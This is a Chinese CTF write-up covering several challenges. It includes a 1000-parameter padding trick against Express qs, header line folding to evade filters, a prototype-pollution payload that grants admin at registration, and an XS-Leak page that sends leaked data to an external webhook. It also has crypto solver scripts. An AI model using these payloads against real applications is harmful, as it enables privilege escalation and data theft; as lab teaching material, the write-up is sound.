"458":"1",
"459":"1",
"460":"1",
"461":"1",
"462":"1",
"463":"1",
"464":"1",
"465":"1",
"466":"1",
"467":"1",
"468":"1",
"469":"1",
"470":"1",
"471":"1",
"472":"1",
"473":"1",
"474":"1",
"475":"1",
"476":"1",
"477":"1",
"478":"1",
"479":"1",
"480":"1",
"481":"1",
"482":"1",
"483":"1",
"484":"1",
"485":"1",
"486":"1",
"487":"1",
"488":"1",
"489":"1",
"490":"1",
"491":"1",
"492":"1",
"493":"1",
"494":"1",
"495":"1",
"496":"1",
"497":"1",
"498":"1",
"499":"1",
"500":"1",
"501":"1",
"502":"1",
"503":"1",
"504":"1",
"505":"1",
"506":"1",
"507":"1",
"508":"1",
"509":"1",
"510":"1",
"511":"1",
"512":"1",
"513":"1",
"514":"1",
"515":"1",
"516":"1",
"517":"1",
"518":"1",
"519":"1",
"520":"1",
"521":"1",
"522":"1",
"523":"1",
"524":"1",
"525":"1",
"526":"1",
"527":"1",
"528":"1",
"529":"1",
"530":"1",
"531":"1",
"532":"1",
"533":"1",
"534":"1",
"535":"1",
"536":"1",
"537":"1",
"538":"1",
"539":"1",
"540":"1",
"541":"1",
"542":"1",
"543":"1",
"544":"1",
"545":"1",
"546":"1",
"547":"1",
"548":"1",
"549":"1",
"550":"1",
"551":"1",
"552":"1",
"553":"1",
"554":"1",
"555":"1",
"556":"1",
"557":"1",
"558":"1",
"559":"1",
"560":"1",
"561":"1",
"562":"1",
"563":"1",
"564":"1",
"565":"1",
"566":"1",
"567":"1",
"568":"1",
"569":"1",
"570":"1",
"571":"1",
"572":"1",
"573":"1",
"574":"1",
"575":"1",
"576":"1",
"577":"1",
"578":"1",
"579":"1",
"580":"1",
"581":"1",
"582":"1",
"583":"1",
"584":"1",
"585":"1",
"586":"1",
"587":"1",
"588":"1",
"589":"1",
"590":"1",
"591":"1",
"592":"1",
"593":"1",
"594":"1",
"595":"1",
"596":"1",
"597":"1",
"598":"1",
"599":"1",
"600":"1",
"601":"1",
"602":"1",
"603":"1",
"604":"1",
"605":"1",
"606":"1",
"607":"1",
"608":"1",
"609":"1",
"610":"1",
"611":"1",
"612":"1",
"613":"1",
"614":"1",
"615":"1",
"616":"1",
"617":"1",
"618":"1",
"619":"1",
"620":"1",
"621":"1",
"622":"1",
"623":"1",
"624":"1",
"625":"1",
"626":"1",
"627":"1",
"628":"1",
"629":"1",
"630":"1",
"631":"1",
"632":"1",
"633":"1",
"634":"1",
"635":"1",
"636":"1",
"637":"1",
"638":"1",
"639":"1",
"640":"1",
"641":"1",
"642":"1",
"643":"1",
"644":"1",
"645":"1",
"646":"1",
"647":"1",
"648":"1",
"649":"1",
"650":"1",
"651":"1",
"652":"1",
"653":"1",
"654":"1",
"655":"1",
"656":"1",
"657":"1",
"658":"1",
"659":"1",
"660":"1",
"661":"1",
"662":"1",
"663":"1",
"664":"1",
"665":"1",
"666":"1",
"667":"1",
"668":"1",
"669":"1",
"670":"1",
"671":"1",
"672":"1",
"673":"1",
"674":"1",
"675":"1",
"676":"1",
"677":"1",
"678":"1",
"679":"1",
"680":"1",
"681":"1",
"682":"1",
"683":"1",
"684":"1",
"685":"1",
"686":"1",
"687":"1",
"688":"1",
"689":"1",
"690":"1",
"691":"1",
"692":"1",
"693":"1",
"694":"1",
"695":"1",
"696":"1",
"697":"1",
"698":"1",
"699":"1",
"700":"1",
"701":"1",
"702":"1",
"703":"1",
"704":"1",
"705":"1",
"706":"1",
"707":"1",
"708":"1",
"709":"1",
"710":"1",
"711":"1",
"712":"1",
"713":"1",
"714":"1",
"715":"1",
"716":"1",
"717":"1",
"718":"1",
"719":"1",
"720":"1",
"721":"1",
"722":"1",
"723":"1",
"724":"1",
"725":"1",
"726":"1",
"727":"1",
"728":"1",
"729":"1",
"730":"1",
"731":"1",
"732":"1",
"733":"1",
"734":"1",
"735":"1",
"736":"1",
"737":"1",
"738":"1",
"739":"1",
"740":"1",
"741":"1",
"742":"1",
"743":"1",
"744":"1",
"745":"1",
"746":"1",
"747":"1",
"748":"1",
"749":"1",
"750":"1",
"751":"1",
"752":"1",
"753":"1",
"754":"1",
"755":"1",
"756":"1",
"757":"1",
"758":"1",
"759":"1",
"760":"1",
"761":"1",
"762":"1",
"763":"1",
"764":"1",
"765":"1",
"766":"1",
"767":"1",
"768":"1",
"769":"1",
"770":"1",
"771":"1",
"772":"1",
"773":"1",
"774":"1",
"775":"1",
"776":"1",
"777":"1",
"778":"1",
"779":"1",
"780":"1",
"781":"1",
"782":"1",
"783":"1",
"784":"1",
"785":"1",
"786":"1",
"787":"1",
"788":"1",
"789":"1",
"790":"1",
"791":"1",
"792":"1",
"793":"1",
"794":"1",
"795":"1",
"796":"1",
"797":"1",
"798":"1",
"799":"1",
"800":"1",
"801":"1",
"802":"1",
"803":"1",
"804":"1",
"805":"1",
"806":"1",
"807":"1",
"808":"1",
"809":"1",
"810":"1",
"811":"1",
"812":"1",
"813":"1",
"814":"1",
"815":"1",
"816":"1",
"817":"1",
"818":"1",
"819":"1",
"820":"1",
"821":"1",
"822":"1",
"823":"1",
"824":"1",
"825":"1",
"826":"1",
"827":"1",
"828":"1",
"829":"1",
"830":"1",
"831":"1",
"832":"1",
"833":"1",
"834":"1",
"835":"1",
"836":"1",
"837":"1",
"838":"1",
"839":"1",
"840":"1",
"841":"1",
"842":"1",
"843":"1",
"844":"1",
"845":"1",
"846":"1",
"847":"1",
"848":"1",
"849":"1",
"850":"1",
"851":"1",
"852":"1",
"853":"1",
"854":"1",
"855":"1",
"856":"1",
"857":"1",
"858":"1",
"859":"1",
"860":"1",
"861":"1",
"862":"1",
"863":"1",
"864":"1",
"865":"1",
"866":"1",
"867":"1",
"868":"1",
"869":"1",
"870":"1",
"871":"1",
"872":"1",
"873":"1",
"874":"1",
"875":"1",
"876":"1",
"877":"1",
"878":"1",
"879":"1",
"880":"1",
"881":"1",
"882":"1",
"883":"1",
"884":"1",
"885":"1",
"886":"1",
"887":"1",
"888":"1",
"889":"1",
"890":"1",
"891":"1",
"892":"1",
"893":"1",
"894":"1",
"895":"1",
"896":"1",
"897":"1",
"898":"1",
"899":"1",
"900":"1",
"901":"1",
"902":"1",
"903":"1",
"904":"1",
"905":"1",
"906":"1",
"907":"1",
"908":"1",
"909":"1",
"910":"1",
"911":"1",
"912":"1",
"913":"1",
"914":"1",
"915":"1",
"916":"1",
"917":"1",
"918":"1",
"919":"1",
"920":"1",
"921":"1",
"922":"1",
"923":"1",
"924":"1",
"925":"1",
"926":"1",
"927":"1",
"928":"1",
"929":"1",
"930":"1",
"931":"1",
"932":"1",
"933":"1",
"934":"1",
"935":"1",
"936":"1",
"937":"1",
"938":"1",
"939":"1",
"940":"1",
"941":"1",
"942":"1",
"943":"1",
"944":"1",
"945":"1",
"946":"1",
"947":"1",
"948":"1",
"949":"1",
"950":"1",
"951":"1",
"952":"1",
"953":"1",
"954":"1",
"955":"1",
"956":"1",
"957":"1",
"958":"1",
"959":"1",
"960":"1",
"961":"1",
"962":"1",
"963":"1",
"964":"1",
"965":"1",
"966":"1",
"967":"1",
"968":"1",
"969":"1",
"970":"1",
"971":"1",
"972":"1",
"973":"1",
"974":"1",
"975":"1",
"976":"1",
"977":"1",
"978":"1",
"979":"1",
"980":"1",
"981":"1",
"982":"1",
"983":"1",
"984":"1",
"985":"1",
"986":"1",
"987":"1",
"988":"1",
"989":"1",
"990":"1",
"991":"1",
"992":"1",
"993":"1",
"994":"1",
"995":"1",
"996":"1",
"997":"1",
"998":"1",
"999":"1",
"1000":"1"
}}

两个trick

https://github.com/ljharb/qs/blob/7e937fafdf67330d54547bbd34909f1f0c11ed72/lib/parse.js

express的parameterLimit默认为1000,传1000个参数PHP中的admin=false会被忽略。

https://www.w3.org/Protocols/rfc2616/rfc2616-sec4.html#sec4.2

根据rfc,header字段可以通过在每一行前面至少加一个SP或HT来扩展到多行。以此绕过对headers的过滤。

wife💃

简单的原型链污染,然后蹭了一下原神的热度。题目逻辑很简单,要邀请码才能注册为admin,普通用户只能拿到wife,没有flag。

当时题目是黑盒的条件,师傅们可以通过 fuzz 得到有用的信息,因为在后面题目还是 0 解的情况下我们放出了 hint:后端某处采用了 Object.assign()

这里我们放出源码:看一下注册的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
app.post('/register', (req, res) => {
let user = JSON.parse(req.body)
if (!user.username || !user.password) {
return res.json({ msg: 'empty username or password', err: true })
}
if (users.filter(u => u.username == user.username).length) {
return res.json({ msg: 'username already exists', err: true })
}
if (user.isAdmin && user.inviteCode != INVITE_CODE) {
user.isAdmin = false
return res.json({ msg: 'invalid invite code', err: true })
}
let newUser = Object.assign({}, baseUser, user)
users.push(newUser)
res.json({ msg: 'user created successfully', err: false })
})

稍微搜一下 Object.assign 可以发现这个方法是可以触发原型链污染的,然后污染 __proto__.isAdmin 为 true 就可以了。

贴一个payload

1
{"__proto__":{"isAdmin":true}

不过admin虽然可以拿到flag,但是没有wife。:)

web_challenge💪

先注册并登录,是一道 XSS 打 Leak

漏洞点

exp.html 如下

1
2
3
4
5
6
7
8
9
10
11
12
<script>
let text = new URLSearchParams(location.search).get('text')
let w = window.open('http://localhost:5000/find?text=' + text)
setTimeout(() => {
w.location = 'about:blank'
setTimeout(() => {
console.log(w.history.length)
const webhook = 'https://webhook.site/c171b240-3c3f-4121-91f3-a4f3a6987e35'
fetch(webhook, {method:'POST', body:w.history.length})
}, 1000)
}, 2000)
</script>

webhook:https://webhook.site/

正确回显是 2,错误回显是 3,发送请求 ,这是错误的,回显为 3

1
http://IP:port/exp.html?text=catctf{t1

正确的回显为 2

1
http://IP:port/exp.html?text=catctf{tes

本题的脚本若是用 python 写是无法实现的,需要用 js 或 ts 来编写,有兴趣可以联系 LemonPerfect 师傅(QQ:1476136743)

CRYPTO

DDH_Game

图片来自 A Graduate Course in Applied Cryptography(Version 0.5)

这道题显然是让我们求解椭圆曲线上的DDH问题(ECDDHP)。

解法一

由于题目中的BLS曲线是配对友好曲线,所以可以计算双线性对。

双线性对满足 \(e(aG, bG) = e(G, abG)\)

这就给了我们一个解DDHP的后门。因此如果随便选一个椭圆曲线点群,ECDDH假设通常是不成立的,并且攻击方法就很简单:看等式\(e(aG, bG) = e(G, cG)\) 是否成立。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
# sagemath 9.5
from Crypto.Util.number import long_to_bytes

# Before running, modify your filename and add "DDH_instances = " at the beginning of the file.
load('DDH_instances.sage')

# curve
p = 0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaaab
K = GF(p)
a = K(0x00)
b = K(0x04)
E = EllipticCurve(K, (a, b))
# G = E(0x17F1D3A73197D7942695638C4FA9AC0FC3688C4F9774B905A14E3A3F171BAC586C55E83FF97A1AEFFB3AF00ADB22C6BB, 0x08B3F481E3AAA0F1A09E30ED741D8AE4FCF5E095D5D00AF600DB18CB2C04B3EDD03CC744A2888AE40CAA232946C5E7E1)
E.set_order(0x73EDA753299D7D483339D80809A1D80553BDA402FFFE5BFEFFFFFFFF00000001 * 0x396C8C005555E1568C00AAAB0000AAAB)

G = E(3745324820672390389968901155878445437664963280229755729082200523555105705468830220374025474630687037635107257976475, 2578846078515277795052385204310204126349387494123866919108681393764788346607753607675088305233984015170544920715533)
n = G.order()

# Embedding degree of the curve
k = 12


def solve_ECDDHP(DDH_instances, G, Ep, m, n):
"""
Parameters:
DDH_instances - list consists of (aG, bG, cG), where aG, bG, cG are EC_point.xy()
m - embedding degree of <G>
n - G's order.
"""
sols = []

Fpm.<x> = GF(p^m)
Epm = Ep.base_extend(Fpm)

G = Epm(G)

for ins in DDH_instances:
aG, bG, cG = ins
aG = Epm(aG); bG = Epm(bG); cG = Epm(cG)

# e_aG_bG = aG.weil_pairing(bG, n)
e_aG_bG = aG.tate_pairing(bG, n, m)

e_G_cG = G.tate_pairing(cG, n, m)
if e_aG_bG == e_G_cG:
sols.append(True)
else:
sols.append(False)

return sols

sols = solve_ECDDHP(DDH_instances, G, E, k, n)
# print(sols)

pt = 0
for i in range(len(sols)):
pt += sols[i] * (2^i)

flag = long_to_bytes(pt)
print(flag)
print(b'CatCTF{' + flag + '}')

解法二

其实是非预期解,不过测题的时候队里有其他师傅想到了,感觉这个思路也是直击DDH问题中的'Decisional' 。

题目中点G的阶为

做法类似Pohlig-Hellman算法中使用的原理,不过我们不用算出a, b和c,而是在模3, 模11, 模10177等的意义下计算出a,b和c。再对应考察同余式是否成立: \(ab \equiv c \pmod{3}\) $ab c , ... $ 。如果成立那么大概率有\(ab = c\)。打印出来看看flag对不对就行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# sagemath 9.5
from Crypto.Util.number import long_to_bytes
# Before running, modify your filename and add "DDH_instances = " at the beginning of the file.
load('DDH_instances.sage')


p = 0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaaab
K = GF(p)
a = K(0x00)
b = K(0x04)
E = EllipticCurve(K, (a, b))
E.set_order(0x73EDA753299D7D483339D80809A1D80553BDA402FFFE5BFEFFFFFFFF00000001 *
0x396C8C005555E1568C00AAAB0000AAAB)
G = E(3745324820672390389968901155878445437664963280229755729082200523555105705468830220374025474630687037635107257976475,
2578846078515277795052385204310204126349387494123866919108681393764788346607753607675088305233984015170544920715533)


def Pohlig_Hellman(G, Y, ord_G, facts):
"""
Using the idea of Pohlig-Hellman.
G: EC group generator G
facts: list, some small factors of the group order
return x: discrete log of Y modulo prod(facts)
"""
new_bases = [(ord_G // facts[i])*G for i in range(len(facts))]
assert len(new_bases) == len(facts)
xi = [new_bases[i].discrete_log((ord_G // facts[i])*Y, facts[i]) for i in range(len(facts))]
# print(f"xi = {xi}")

x = CRT(xi, facts)
return x

order = G.order()
# factors of order, pairwise coprime
facts = [3, 11, 10177]
s = prod(facts)
m = ''

import tqdm
for i in tqdm.tqdm(range(len(DDH_instances))):
aG, bG, cG = DDH_instances[i]
aG = E(aG); bG = E(bG); cG = E(cG)
a, b, c = [Pohlig_Hellman(G, E(Pt), order, facts) for Pt in (aG, bG, cG)]
if (a*b) % s == c:
m += '1'
else:
m += '0'
print(m)

print(long_to_bytes(int(m[::-1], 2)))

动机

DDH假设是一个很重要的话题,Game则是密码理论中的security game。双线性对也是很重要的密码学工具。希望能够抛砖引玉,让大家对密码理论有更多的关注。

cat_theory

题解

根据交换图,两个明文先做加法再加密,其结果与先加密再做密文乘法相同。因此CatCrypto是一个同态加密,具有加法同态性。

其实这道题是Paillier-DJN算法,Paillier的一个变种。见Paillier半同态加密:原理、高效实现方法和应用

1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Util.number import long_to_bytes

m1_plus_m2 = 127944711034541246075233071021313730868540484520031868999992890340295169126051051162110
m2_plus_m3 = 63052655568318504263890690011897854119750959265293397753485911143830537816733719293484
m3_plus_m1 = 70799336441419314836992058855562202282043225138455808154518156432965089076630602398416

m = (m1_plus_m2 + m2_plus_m3 + m3_plus_m1) // 2
print(long_to_bytes(m))

"""
b'CatCTF{HE_sch3m3_c4n_b3_a_c4t_eg0ry}'
"""

动机

因为是Cat CTF,并且说出题可以不限于传统的CTF思路,所以想涉及一些猫论(category theory, 范畴论)。找了一些资料来看:Categorical & Diagrammatic methods In Cryptography and Communication 确实有一些人提出范畴论与密码学结合,想法很有意思(比如p35~36的内容)。但这些想法似乎还没有太多应用。并且我自己对范畴论了解也很有限,也没试过自己编造一个密码方案。一时间想不到怎么用这个出一道题。

正好想到Craig Gentry(第一个全同态方案的提出者)给出的用交换图概括同态加密,交换图可以算是范畴论的东西,并且在密码学中也还是经常能看到的。于是干脆来个Paillier-DJN同态加密方案(Paillier的改进方案),给一张交换图来提示同态性。

cat's gift🎁

题解

跨年气氛题,想起Amann的Analysis上有一只猫猫,翻了一会儿找到一个与pi相关的公式。注意到flag示例中 CatCTF{apple} CatCTF{banana}是小写开头英文单词,都是食物,以及题目中提到这是一份礼物,因此提交的flag不是pi而是pie。

有四种解法

  1. 法一:直接猜结果是pie

  2. 法二:手算,写出arctanx的幂级数展开,然后把x=1带进去

  3. 法三:编程算近似值,然后猜

    1
    2
    3
    4
    5
    6
    7
    8
    def solve_gift(n=100):
    ans = 0
    for i in range(n):
    ans += (-1)**i * 1/(2*i + 1)

    return ans * 4

    solve_gift(n=10000000)

  4. 法四:问猫猫(根据题目描述的提示)

    找到Amann的 Analysis I p389

后记

其实pi=pie也是一种数学文化,3.14那天有一些人会吃派庆祝,因此就把这个题放在了跟数学最相近的crypto里面。出题时感觉应该很自然能想到pie吧,没想到很多朋友因为没有get到所以没做出来...

忘记了这是一种小众文化,出题人随缘在此向各位深表歉意

盖茨比&can you tell AES from blackbox?&sampl出题人前言

笔者本学期上了一门非常重要的课,密码分析学,学习了很多在ctf之外传统密码算法分析领域的知识;加之笔者本人是做侧信道分析的,所以本次出题,特意反常规的ctf crypto=数论+格子,三道题一道是披着工作模式皮的古典频率分析,一道是传统对称算法分析的经典场景,最后一道则是侧信道。

盖茨比

这题还是叫PCBC叭,题目名称出错了(笑)。

这个题其实大部分都是非预期,但大方向思路不错,毕竟mtp也是大方向上属于利用了自然语言的特征,跟古典的频率分析在一个角度上。

本题使用的工作模式是PCBC,因为现在已经没有哪里在用了所以也没在pycrypto里找到,只能自己写,所以,大家自己逆这个过程就会发现一个解密之后的异或结构,进而利用mtp还原;另一种思路是直接爆破iv,但有一说一,复杂度应该很高,希望大家没有爆太久【笑】,对此方法有个小后门,就是padding之后末尾的填充值都固定,那么确定其中一部分,我们就可以确定末尾的大部分,进而降低爆破的复杂度。

摘抄两个解法的脚本如下:

mtp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# Python3 
import base64
from Crypto.Cipher import AES
from Crypto.Util.strxor import strxor as xor
from Crypto.Util.number import *
import Crypto.Util.strxor as xo
import libnum, codecs, numpy as np
def isChr(x):
if ord('a') <= x and x <= ord('z'): return True
if ord('A') <= x and x <= ord('Z'): return True
return False
def infer(index, pos):
if msg[index, pos] != 0:
return
msg[index, pos] = ord(' ')
for x in range(len(c)):
if x != index:
msg[x][pos] = xo.strxor(c[x], c[index])[pos] ^ ord(' ')

def know(index, pos, ch):
msg[index, pos] = ord(ch)
for x in range(len(c)):
if x != index:
msg[x][pos] = xo.strxor(c[x], c[index])[pos] ^ ord(ch)

def getSpace():
for index, x in enumerate(c):
res = [xo.strxor(x, y) for y in c if x!=y]
f = lambda pos: len(list(filter(isChr, [s[pos] for s in res])))
cnt = [f(pos) for pos in range(len(x))]
for pos in range(len(x)):
dat.append((f(pos), index, pos))

key = b'+0zkhmid1PFjVdxSP09zSw=='
key = base64.b64decode(key)
c = base64.b64decode(c)
cipher=AES.new(key,mode=AES.MODE_ECB)
t = []
for i in range(0,len(c),16):
if i == 0:
t.append(cipher.decrypt(c[i:i+16])) # s1 ^ iv
else:
t.append(xor(cipher.decrypt(c[i:i + 16]), c[i-16:i]))
tmp = [] tmp.append(t[0])
for i in range(1, len(t)):
tttt = t[i]
for j in range(0, i):
tttt = xor(tttt, t[j])
tmp.append(tttt) # si ^ iv
# MTP attack
c = tmp
dat = []
msg = np.zeros([len(c), len(c[0])], dtype=int)
getSpace()
dat = sorted(dat)[::-1]
for w, index, pos in dat:
infer(index, pos)

print(''.join([''.join([chr(c) for c in x]) for x in msg]))

爆破

看大部分人用的爆破脚本都是这个,但是只爆破了最后一位,蛮好奇前面这个魔数怎么得到的,或许是因为前边爆破太久了所以示意一下?hhhhhh,谁知道这个魔数iv怎么爆出来的欢迎cue我。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
c = b64decode(c)
key = b64decode(key)
cipher=AES.new(key,mode=AES.MODE_ECB)
c2 = [c[i:i+16] for i in range(0,len(c),16)]
xor_s = []
xor_iv = b''
for c in c2:
xor_s.append(cipher.decrypt(c))

s = b''

tiv = b'\xd4\x5d\x47\xaf\x96\xc5\xde\x2d\x96\x51\x6d\xf5\x3e\xe9\x30'
for j in [0x99]:
iv = tiv+long_to_bytes(j)
tmpStr = ''
for i in range(len(xor_s)):
s = xor(xor_s[i], iv)
iv = xor(s, c2[i])
try:
tmpStr += s.decode()
if tmpStr[-1] not in printable:
break
tmpStr += '' # '\t'
except:
break
if 'flag' in tmpStr:
print(tmpStr)

can you tell AES from blackbox?

本题原始出题背景是AES的中间相遇攻击和除了传统四种攻击模型之外的区分攻击模型,原初的情况如下:

\(C_{11}^{(2)}\)只与\(t_{11}\)及一些由密钥和明文中的常数字节决定的固定值有关,于是我们可以构造由a11到$ C_{11}^{(2)} $的映射表,可知该表只由c1和c5两个未知量确定,所以满足条件的映射表共有216种,而随机映射每次明文的某个字节都有28种映射可能,所以提供了4次机会,随机置换总共的可能性则为2^32种,于是可知,随机置换落入AES的可能性为1/256,可能性较小,所以可以作为一个区分指标。

但是作为传统密码分析,题目的信息量摆在这里,解不是唯一的,只要能解决,那就是找到了合理的特征。随机置换模型有一个问题,就是有可能导致某个字节变化后,其对应字节的值反而没变,而根据上式可知,这个映射应该是一个单射,所以实际我们使用的其实是另一个相关的密码算法,规避掉这个基本的随机特征(根据生日攻击,这个特征在给定模型是a11遍历256时,对于反向判断是更致命的)。

因为这个题目比较简单,所以最开始出题在最头部加入了一轮轮密钥加,并设计了相关的算法来恢复,但因为麻烦,而且打通率低于预期(其实后来找到了原因,但题目已经提交上去了,只能下次再说),所以最后题目降低难度,恢复原状,将首部的轮密钥加去掉,即只是将遍历下降到4次机会,这就导致了从a11到t11的过程是敌手可控的,那么如果我能控制t,就会发现当t只有最后一个字节变化时,只会在最后一次列混合造成扩散,前面的12字节都是相同的,那么这也是个可行的区分特征,但泛化性不如原思路,在头部加入轮密钥的时候就会失效。

此外还有师傅在上面的思路之外利用差分将第二轮的密钥影响消除掉,这个也是常见的trick,可以把上面的216的表进一步下降到28的水平。但这位师傅是在区分攻击之外更进一步,做起了密钥恢复,这二者虽然密不可分,但对于区分攻击而言增加了工作量。

我的脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *
from Crypto.Util.number import long_to_bytes,bytes_to_long
addRoundKey=lambda inp,key: xor(inp.rjust(16,b"\00"),long_to_bytes(key).rjust(16,b"\00"))
subBytes=lambda x,S:bytes([S[i] for i in x])
shiftRow=lambda S:[\
S[0],S[4],S[8],S[12],\
S[5],S[9],S[13],S[1],\
S[10],S[14],S[2],S[6],\
S[15],S[3],S[7],S[11]\
]
mul2=lambda x:(x<<1)^0b100011011 if x&0x80 else x<<1
mul3=lambda x:x^mul2(x)

mixColomn=lambda S:bytes(sum([[
mul2(S[i])^mul3(S[i+1])^S[i+2]^S[i+3],
S[i]^mul2(S[i+1])^mul3(S[i+2])^S[i+3],
S[i]^S[i+1]^mul2(S[i+2])^mul3(S[i+3]),
mul3(S[i])^S[i+1]^S[i+2]^mul2(S[i+3])
] for i in range(0,16,4)],[]))

def AES_2r(inp,key,S):
#c=addRoundKey(inp,key[0])
c=subBytes(inp,S)
c=shiftRow(c)
c=mixColomn(c)
c=addRoundKey(c,key[0])
c=subBytes(c,S)
c=shiftRow(c)
c=mixColomn(c)
c=addRoundKey(c,key[1])
return c

S_BOX = [
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16]


dic={}
for i in range(256):
dic[i]=[mul2(S_BOX[mul2(S_BOX[0])^i])]
for c in range(1,256):
dic[i].append(mul2(S_BOX[mul2(S_BOX[c])^i])^dic[i][0])

from random import *
from pwn import *
p=remote("0.0.0.0",10001)

for i in range(20):
p.recvline()
c=bytes([randint(0,2**8-1)for i in range(16)])
t=(((bytes([0])+c[1:16]).ljust(16,b"\00"))[:16])
p.recvline()
p.sendline(t)
a=int(p.recvline()[6:],16)
ans=[a>>120]
for j in range(1,4):
t=hex(((bytes([j])+c[1:16]).ljust(16,b"\00"))[:16])[2:]
p.recvline()
p.sendline(t)
a=int(p.recvline()[6:],16)
ans.append((a>>120)^ans[0])
p.recvline()
for k in range(256):
if ans[1:4]==dic[k][1:4]:
p.sendline(b"1")
break
else:
p.sendline(b"0")
p.recvline()
print(i)
p.interactive()

因为出题的时候就评估到了,本题所提供的信息量就那些,收上来的wp这几种做法虽然有变换字节的位置和变换字节的环节不同,甚至最后确定的特征有区别,但都是下放到了合适的数据复杂度,所以只要是构造到具体字节从而降低复杂度进行攻击的方案都是预期的。如果是复现,还请各位师傅大胆尝试不同的位置,希望能帮到各位在传统对称密码算法分析的情景下找到新的兴趣点。

sample

论文是今年的Single-Trace Side-Channel Attacks on ω-Small Polynomial Sampling: With Applications to NTRU, NTRU Prime, and CRYSTALS-DILITHIUM,主要是分析在算法高斯采样预处理的过程中对三元多项式的直接攻击,除此之外在2018年的另一篇论文中也探讨了在揭秘环节直接攻击三元多项式的一些方案,但因为时间较为久远,对应的代码仓库没有了,猜测是那种实现最终被NTRU官方ban了,所以最后改换了这篇。

使用的仿真工具是GitHub - sca-research/GILES,相比于ELMO似乎更好上手些(他本身原来就叫ELMO2),但是没有合适的出题样例了,所以借这次写个完整的工具使用文档。

GILES处理的是可以直接移植到arm cortex M0机器上的指令,但同时因为他有仿真所用的部分函数,也不能直接交叉编译,所以我们还需要一个GitHub - sca-research/thumb-sim: Thumb Timing Simulator来生成编译文件。仿真器的函数头使用的是elmo-funcs.h download,主要包括触发器相关的功能和读写字节相关的功能,需要注意的是字节读写似乎需要对齐到某个值,不然无法读取。

在利用GILES生成数据的时候,有电源模式和汉明重两种预设模式,但实际体验下来电源模式的数据生成感觉比较草率,不如ELMO的数据看起来真实,所以我出题一般是使用hw模式。btw他也提供模式的自定义,想着如果有机会能不能搜罗一下其他的模式像是汉明距啥的,然后做下开源开发者这样。

产生的数据是trs格式,用python的trsfile库可以读取,主要包括数据的采集轨迹和对应的注释数据,整体结构还很清晰。

